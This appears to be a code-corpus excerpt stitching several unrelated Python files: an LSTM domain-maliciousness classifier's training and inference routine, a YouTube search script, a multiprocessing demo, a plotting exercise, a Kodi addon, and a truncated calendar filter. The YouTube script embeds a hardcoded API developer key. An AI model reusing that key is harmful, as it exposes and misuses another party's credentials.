model_type = get_model_type(model_type)\n train_file = get_train_file(train_file, config)\n inference_file = get_inference_file(inference_file, config)\n\n # assemble the path to the log directory\n root_dir = config['root_dir']\n models_dir = config['models_dir']\n logpath = root_dir+models_dir\n\n if model_type == '':\n print(\"error: an invalid model type was given. See the -h/--help command line options for valid model choices.\")\n exit(1)\n\n if train_file == '' and inference_file == '':\n print(\"error: neither train or inference were given as arguments. Please run again, but with either -t/--train or -i/--inference options (or both) enabled.\")\n exit(1)\n\n # get the model information from the configuration file\n model_info = get_model_info(model_type, config)\n metrics = {\n 'filename': '',\n 'filedate': '',\n 'time': 0.0,\n 'memory': 0.0,\n 'total_rows': 0,\n 'malicious_rows': 0,\n 'benign_rows': 0,\n 'ratio': 0.0,\n 'categories': 0,\n 'model': 'unknown',\n 'train_rows': 0,\n 'test_rows': 0,\n 'train_time': 0,\n 'inference_rows': 0,\n 'inference_time': 0,\n 'inference_time_mean': 0.0\n }\n\n if train_file != '':\n # a training file was provided\n model_version = get_version_number(train_file)\n\n # get training data from disk\n df, metrics = get_training_data(train_file, metrics, logpath)\n\n if model_type == 'binary':\n X_train, X_test, Y_train, Y_test = prep_training_dataset_binary(df)\n metrics['model'] = model_type\n metrics['categories'] = 2\n metrics['train_rows'] = X_train.shape[0]\n metrics['test_rows'] = X_test.shape[0]\n # pprint(metrics)\n print('info: {} – training started.'.format(time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())))\n train_model = lstm_binary.LSTMBinary()\n start_time = time.time()\n train_model.train(X_train, Y_train)\n end_time = time.time()\n train_time = end_time - start_time\n metrics['train_time'] = train_time\n print('info: {} – training ended. Train time {:>3.3f}s.'.format(time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime()), train_time))\n write_to_train_logfile(metrics, logpath, True)\n\n train_model.save(model_info['model_tokenizer'],\n model_info['model_json'],\n model_info['model_H5'])\n\n elif model_type == 'multiclass':\n # create X and Y and split into train and test\n X_train, X_test, Y_train, Y_test, categories = prep_training_dataset_multiclass(\n df, model_info['model_categories'])\n metrics['model'] = model_type\n metrics['categories'] = categories\n metrics['train_rows'] = X_train.shape[0]\n metrics['test_rows'] = X_test.shape[0]\n\n print('info: {} – training started.'.format(time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())))\n start_time = time.time()\n train_model = lstm_multiclass.LSTMMulti()\n train_model.train(X_train, Y_train)\n end_time = time.time()\n train_time = end_time - start_time\n metrics['train_time'] = train_time\n print('info: {} – training ended. Train time {:>3.3f}s.'.format(time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime()), train_time))\n write_to_train_logfile(metrics, logpath, True)\n\n train_model.save(model_info['model_tokenizer'],\n model_info['model_categories'],\n model_info['model_json'],\n model_info['model_H5'])\n else:\n print(\"error: unrecognized model type.\")\n exit(1)\n # train the model (which model is set by models input)\n # train_model.train(X_train, Y_train)\n # train_model.save(TOKENIZER_FILE, MODEL_JSON, MODEL_H5)\n # save the model to disk\n\n if inference_file != '':\n # an inference file was provided\n model_version = get_version_number(inference_file)\n print('inference file: {}'.format(inference_file))\n if model_type == 'binary':\n metrics['filename'] = inference_file\n metrics['filedate'] = time.strftime('%Y-%m-%d', time.gmtime())\n\n predict_model = lstm_binary.LSTMBinary()\n predict_model.load(model_info['model_tokenizer'],\n model_info['model_json'],\n model_info['model_H5'])\n domains = load_inference_data(inference_file)\n # print(\"Number of domains: \", len(domains))\n # print(\"Top 10:\\n\", domains[:10])\n\n # run predictions, record timings\n timestamp = time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())\n print('info: {} – inference started.'.format(timestamp))\n start_time = time.time()\n predictions = predict_model.predict(domains)\n end_time = time.time()\n prediction_time = end_time - start_time\n domain_count = len(domains)\n metrics['inference_rows'] = domain_count\n metrics['inference_time'] = prediction_time\n metrics['inference_time_mean'] = prediction_time / domain_count\n timestamp = time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())\n print('info: {} – inference ended. Inference time {:>3.3f}s.'.format(timestamp, prediction_time))\n\n # reshape the predictions\n predictions = np.reshape(predictions, [predictions.shape[0], ]).tolist()\n # print(predictions[:10])\n # print(\"domains: {}, predictions: {}\".format(len(domains), len(predictions)))\n\n # write the predictions to file\n write_predictions(domains, predictions, model_type, model_info['model_algorithm'], model_version, config)\n\n # write_to_train_logfile(metrics, logpath, True)\n elif model_type == 'multiclass':\n metrics['filename'] = inference_file\n metrics['filedate'] = time.strftime('%Y-%m-%d', time.gmtime())\n\n predict_model = lstm_multiclass.LSTMMulti()\n predict_model.load(model_info['model_tokenizer'],\n model_info['model_categories'],\n model_info['model_json'],\n model_info['model_H5'])\n domains = load_inference_data(inference_file)\n # print(\"Number of domains: \", len(domains))\n # print(\"Top 10:\\n\", domains[:10])\n\n # run predictions, record timings\n timestamp = time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())\n print('info: {} – inference started.'.format(timestamp))\n start_time = time.time()\n predictions, pred_prob = predict_model.predict(domains)\n end_time = time.time()\n prediction_time = end_time - start_time\n domain_count = len(domains)\n metrics['inference_rows'] = domain_count\n metrics['inference_time'] = prediction_time\n metrics['inference_time_mean'] = prediction_time / domain_count\n timestamp = time.strftime('%Y-%m-%d %H:%M.%S', time.gmtime())\n print('info: {} – inference ended. Inference time {:>3.3f}s.'.format(timestamp, prediction_time))\n\n # reshape the predictions\n # predictions = np.reshape(predictions, [predictions.shape[0], ]).tolist()\n # print(predictions[:10])\n # print(\"domains: {}, predictions: {}\".format(len(domains), len(predictions)))\n\n # write the predictions to file\n write_predictions(domains, predictions, model_type, model_info['model_algorithm'], model_version, config)\n else:\n print(\"error: unrecognized model type.\")\n exit(1)\n # get test data\n # load the model (based on models input)\n # testmodel = lstm_binary.LSTMBinary()\n # testmodel.load(BINARY_TOKENIZER_FILE, BINARY_MODEL_JSON, BINARY_MODEL_H5)\n # make predictions\n # urllist = [\"www.google.com\", \"www.netflix.com\", \"plvklpgwivery.com\"]\n # urltypes = testmodel.predict(urllist)\n # print(\"URL type:\", urltypes)\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"code/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":26220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"148249861","text":"from apiclient.discovery import build\n\n\nDEVELOPER_KEY = \"AIzaSyDngQv_cVeUuk1LMrqwvP0M-8s6XfgqpGs\"\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\nYOUTUBE_API_VERSION = \"v3\"\nyoutube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=DEVELOPER_KEY)\nsearch_response = youtube.search().list(\n q='asmr 귀',\n part=\"id,snippet\",\n maxResults=25\n ).execute()\n\nprint(search_response)","sub_path":"startone.py","file_name":"startone.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"179958025","text":"import multiprocessing\r\n\r\ndef myProcFn():\r\n print('Executing child process (with its own GIL)')\r\n\r\ndef main():\r\n print('Executign the main process')\r\n myProc2 = multiprocessing.Process(target=myProcFn)\r\n myProc2.start()\r\n myProc2.join()\r\n print('child process has terminated')\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"data/beyondAdvancedPythonApril2021-main/using_processes/p1_proc_fn.py","file_name":"p1_proc_fn.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"289374951","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\ndef genDataSet(N):\n x = np.random.normal(0, 1, N)\n ytrue = (np.cos(x) + 2) / (np.cos(x * 1.4) + 2)\n noise = np.random.normal(0, 0.2, N)\n y = ytrue + noise\n return x, y, ytrue\n\nx, y, ytrue = genDataSet(100)\nplt.plot(x,y,'.')\nplt.plot(x,ytrue,'rx')\nplt.show()\n","sub_path":"mulligan-03/hw3_1_a_gendata.py","file_name":"hw3_1_a_gendata.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"609220111","text":"########################################\n\nimport os, sys, xbmc, xbmcgui, xbmcplugin, xbmcaddon\n\t\n#Belgique Direct By Sphinxroot QC\n\n# Various constants used throughout the script\nHANDLE = int(sys.argv[1])\nADDON = xbmcaddon.Addon(id='plugin.video.BelgiqueDirect')\nLANGUAGE = ADDON.getLocalizedString\nTHUMBNAIL_PATH = os.path.join( ADDON.getAddonInfo( 'path' ), 'resources', 'media')\n\ndef start() :\n\n\tli = xbmcgui.ListItem(label=LANGUAGE(30000), thumbnailImage=os.path.join(THUMBNAIL_PATH, 'belgique.gif'))\n\txbmcplugin.addDirectoryItem(handle=HANDLE, url=\"https://raw.githubusercontent.com/Sphinxroot/M3U-URL/master/Belgique.fr.m3u\", listitem=li, isFolder=False) \n\tsetViewMode(\"500\")\t\t\n\txbmcplugin.endOfDirectory( HANDLE )\t\t\n\t\ndef setViewMode(id):\n\tif xbmc.getSkinDir() == \"skin.confluence\":\n\t\txbmc.executebuiltin(\"Container.SetViewMode(\" + id + \")\")\n\t\t\t\nstart()","sub_path":"plugin.video.BelgiqueDirect/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"113674010","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\nimport time\r\nimport re\r\nimport filehelper\r\n\r\nargc = len(sys.argv)\r\nargv = sys.argv\r\n\r\nif argc != 4:\r\n print(\"Filters ICS files for events based on regex\")\r\n print(\"Usage: %s